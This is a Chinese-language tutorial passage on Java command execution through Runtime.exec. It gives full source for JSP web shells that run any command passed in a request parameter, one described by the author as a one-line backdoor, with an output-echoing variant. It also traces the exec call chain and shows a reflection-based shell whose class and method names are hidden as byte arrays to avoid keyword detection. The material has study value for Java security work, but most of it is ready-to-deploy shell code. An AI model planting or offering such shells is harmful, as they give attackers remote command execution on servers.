在Java中我们通常会使用java.lang.Runtime类的exec方法来执行本地系统命令。
2. Runtime命令执行 - 图1

Runtime命令执行测试

runtime-exec2.jsp执行cmd命令示例:**

  1. <%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
  1. 本地nc监听9000端口:nc -vv -l 9000
  2. 使用浏览器访问:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000
    我们可以在nc中看到已经成功的接收到了java执行了curl命令的请求了,如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。

2. Runtime命令执行 - 图2
上面的代码虽然足够简单但是缺少了回显,稍微改下即可实现命令执行的回显了。

runtime-exec.jsp执行cmd命令示例:

  1. <%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
  2. <%--
  3. Created by IntelliJ IDEA.
  4. User: yz
  5. Date: 2019/12/5
  6. Time: 6:21 下午
  7. To change this template use File | Settings | File Templates.
  8. --%>
  9. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  10. <%@ page import="java.io.ByteArrayOutputStream" %>
  11. <%@ page import="java.io.InputStream" %>
  12. <%
  13. InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
  14. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  15. byte[] b = new byte[1024];
  16. int a = -1;
  17. while ((a = in.read(b)) != -1) {
  18. baos.write(b, 0, a);
  19. }
  20. out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
  21. %>

命令执行效果如下:
2. Runtime命令执行 - 图3

Runtime命令执行调用链

Runtime.exec(xxx)调用链如下:

  1. java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
  2. java.lang.ProcessImpl.start(ProcessImpl.java:134)
  3. java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
  4. java.lang.Runtime.exec(Runtime.java:620)
  5. java.lang.Runtime.exec(Runtime.java:450)
  6. java.lang.Runtime.exec(Runtime.java:347)
  7. org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)

通过观察整个调用链我们可以清楚的看到exec方法并不是命令执行的最终点,执行逻辑大致是:

  1. Runtime.exec(xxx)
  2. java.lang.ProcessBuilder.start()
  3. new java.lang.UNIXProcess(xxx)
  4. UNIXProcess构造方法中调用了forkAndExec(xxx) native方法。
  5. forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcessPID

有了以上的调用链分析我们就可以深刻的理解到Java本地命令执行的深入逻辑了,切记RuntimeProcessBuilder并不是程序的最终执行点!

反射Runtime命令执行

如果我们不希望在代码中出现和Runtime相关的关键字,我们可以全部用反射代替。
reflection-cmd.jsp示例代码:

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.InputStream" %>
  3. <%@ page import="java.lang.reflect.Method" %>
  4. <%@ page import="java.util.Scanner" %>
  5. <%
  6. String str = request.getParameter("str");
  7. // 定义"java.lang.Runtime"字符串变量
  8. String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
  9. // 反射java.lang.Runtime类获取Class对象
  10. Class<?> c = Class.forName(rt);
  11. // 反射获取Runtime类的getRuntime方法
  12. Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
  13. // 反射获取Runtime类的exec方法
  14. Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
  15. // 反射调用Runtime.getRuntime().exec(xxx)方法
  16. Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
  17. // 反射获取Process类的getInputStream方法
  18. Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
  19. m.setAccessible(true);
  20. // 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
  21. Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
  22. String result = s.hasNext() ? s.next() : "";
  23. // 输出命令执行结果
  24. out.println(result);
  25. %>

命令参数是str,如:reflection-cmd.jsp?str=pwd,程序执行结果同上。